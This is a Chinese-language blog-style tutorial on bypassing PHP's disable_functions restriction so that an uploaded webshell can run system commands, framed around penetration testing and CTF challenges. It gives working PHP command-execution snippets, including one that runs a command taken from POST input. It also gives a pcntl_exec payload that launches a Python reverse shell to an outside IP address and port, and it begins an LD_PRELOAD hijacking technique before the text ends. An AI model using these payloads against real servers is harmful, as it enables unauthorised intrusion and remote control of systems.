主页 > 网络知识 > 绕过Disable Functions来搞事情

绕过Disable Functions来搞事情

 

20210209232129.jpeg

 

前言

我们辛辛苦苦拿到的 Webshell 居然tmd无法执行系统命令:

 

image-20210209142859496

 

多半是disable_functions惹的祸。查看phpinfo发现确实设置了disable_functions:

 

image-20210209143246016

 

千辛万苦拿到的Shell却变成了一个空壳,你甘心吗?

本篇文章,我从网上收集并整合了几种常见的绕过disable_functions的方法,通过原理介绍并结合典型的CTF题目来分享给大家,请大伙尽情享用。

文中若有不当之处,还望各位大佬多多指教。

个人博客:https://whoamianony.top/

文中IP打码不全,懒得打了,学生机,请各位大佬放过。。。

Disable Functions

为了安全起见,很多运维人员会禁用PHP的一些“危险”函数,例如eval、exec、system等,将其写在php.ini配置文件中,就是我们所说的disable_functions了,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable_functions的设置中也通常较为严格。

如果在渗透时,上传了webshell却因为disable_functions禁用了我们函数而无法执行命令的话,这时候就需要想办法进行绕过,突破disable_functions。

常规绕过(黑名单绕过)

即便是通过disable functions限制危险函数,也可能会有限制不全的情况。如果运维人员安全意识不强或对PHP不甚了解的话,则很有可能忽略某些危险函数,常见的有以下几种。

exec()

<?php echo exec('whoami'); ?>

shell_exec()

<?php echo shell_exec('whoami'); ?>

system()

<?php system('whoami'); ?>

passthru()

<?php passthru("whoami"); ?>

popen()

<?php $command=$_POST['cmd']; $handle = popen($command,"r"); while(!feof($handle)){ echo fread($handle, 1024); //fread($handle, 1024); } pclose($handle); ?>

proc_open()

<?php $command="ipconfig"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])){ echo fread($pipes[1], 1024); //fgets($pipes[1],1024); } ?>

还有一个比较常见的易被忽略的函数就是pcntl_exec。

利用 pcntl_exec

使用条件:

PHP安装并启用了pcntl插件

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序。

利用pcntl_exec()执行test.sh:

<?php if(function_exists('pcntl_exec')) { pcntl_exec("/bin/bash", array("/tmp/test.sh")); } else { echo 'pcntl extension is not support!'; } ?>

由于pcntl_exec()执行命令是没有回显的,所以其常与python结合来反弹shell:

<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

这道题利用的就是这个点。

利用 LD_PRELOAD 环境变量 原理简述

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。

我们通过环境变量 LD_PRELOAD 劫持系统函数,可以达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。

想要利用LD_PRELOAD环境变量绕过disable_functions需要注意以下几点:

能够上传自己的.so文件

能够控制LD_PRELOAD环境变量的值,比如putenv()函数

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!